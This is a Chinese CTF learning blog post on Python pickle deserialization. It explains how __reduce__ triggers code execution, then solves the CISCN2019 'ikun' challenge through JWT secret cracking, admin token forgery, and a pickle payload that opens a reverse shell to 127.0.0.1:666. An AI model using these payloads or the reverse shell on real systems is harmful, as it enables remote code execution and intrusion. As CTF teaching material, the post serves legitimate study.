python pickle反序列化学习(一)

前言

我们把变量从内存中变为可存储或传输的过程称为序列化,在Python中称为pickling,在其他语言中被称之为serialization,marshalling,flattening等

在python中,可以使用以下模块来进行序列化/反序列化操作:

1. pickle/cPickle 
# 两者没什么区别,不过cPickle是C语言写的,速度快,pickle是纯python写的,速度较慢
# 仅作为python对象持久化或python程序间传输对象的方法

2. json 
# 主要用于多语言间数据传输时的数据类型转换(如dict与str间的转换)

3. shelve 
# 通过key-value方式进行序列化存储,模拟出简单的db效果

4. PyYAML # 留个坑,待填
...

我们主要来看下pickle模块

pickle模块的使用

pickle模块与序列化/反序列化相关函数:

  • pickle.dump(obj, file, [,protocol]) : 将obj对象序列化存入已打开的file中
  • pickle.dumps(obj[, protocol]) : 将obj对象序列化为string形式
  • pickle.load(file) : 将file中的内容反序列化
  • pickle.loads(string) : 将string反序列化

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import pickle

# 序列化
f = open('a.txt', 'wb')
text = '123'

a1 = pickle.dump(text, f)
a2 = pickle.dumps(text)

f.close()

print(a1)
print(a2)

# 反序列化
f = open('a.txt', 'rb')

b1 = pickle.load(f)
b2 = pickle.loads(a2)

print(b1)
print(b2)

'''
output:
None
b'\x80\x03X\x03\x00\x00\x00123q\x00.'
123
123
'''

python反序列化相关的魔法方法关键的是__reduce__(),可以在官方文档中查看其描述(原谅我看不懂):

https://docs.python.org/2/library/pickle.html#pickling-and-unpickling-extension-types

或者这篇博客:

http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

其作用为:

  • 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return 'a',那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
  • 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,("os.system('ls')",)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,('ls',))

example:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import pickle
class test:
def __reduce__(self):
#return (eval,("os.popen('ls /')",))
return (os.popen,('ls /',))

a=test()
c=pickle.dumps(a)
print(c)
# 反序列化触发 __reduce__() ,获取到文件根目录
print(pickle.loads(c).read())

注意点

1.与php不同的是,在反序列化时,并不需要存在序列化时使用的test类和魔法方法,便可触发__reduce__()。我们使用上面例子生成的序列化字节串c进行测试:

发现,直接进行反序列化时,成功获取到了文件根目录信息

2.python2与python3使用pickle生成的字节串是不同的,因此使用pickle反序列化时需注意目标python版本;python2使用pickle时构造的类要继承object

CISCN2019华北赛区 Day1 Web2 ikun

在主页发现提示一定要买到lv6,但往下翻页发现没有lv6,并且更改页面参数?page,当改为501是页面出现空白,而500还存在小电视,说明存在500页;

点进lv2的小电视,查看源代码发现有lv2.png的链接,那么遍历这500页找到源码中含有lv6的即可:

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://127.0.0.1:12345/shop?page='

for i in range(1, 501):
u = url + str(i)
res = requests.get(u).text
if 'lv6.png' in res:
print(i)
break

初始金额是1000,显然是买不起的

点击购买,会有优惠券减免(但点击小电视并没有)

在结算时抓包:

发现有个JWT字段,对其payload字段解码,发现只有一个username,先不用管,稍后会用到;将discount字段改成很小很小再发包,即可购买成功

follow redidrection,发现路由/b1g_m4mber

看来需要构造jwt,但秘钥不知道,用jwtcrack进行爆破,得到秘钥1Kun

伪造admin jwt:

1
2
3
4
5
import jwt
import base64

encoded = jwt.encode({'username': 'admin'}, '1Kun', algorithm='HS256')
print(encoded)

发包,获取源码路径

sshop/views/Admin.py中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

看到了其接受POST参数become并进行反序列化,那么这里便存在pickle反序列化了

成为admin后,点击一键成为大会员时抓包

只需将自己构造的poc放在become参数下即;可以用反弹shell或者目录探测的方式找到flag,反弹shell poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib
import os

class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)

e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
#pickle.loads(poc)

后记

python魔法方法总结:

https://blog.csdn.net/bluehawksky/article/details/79027055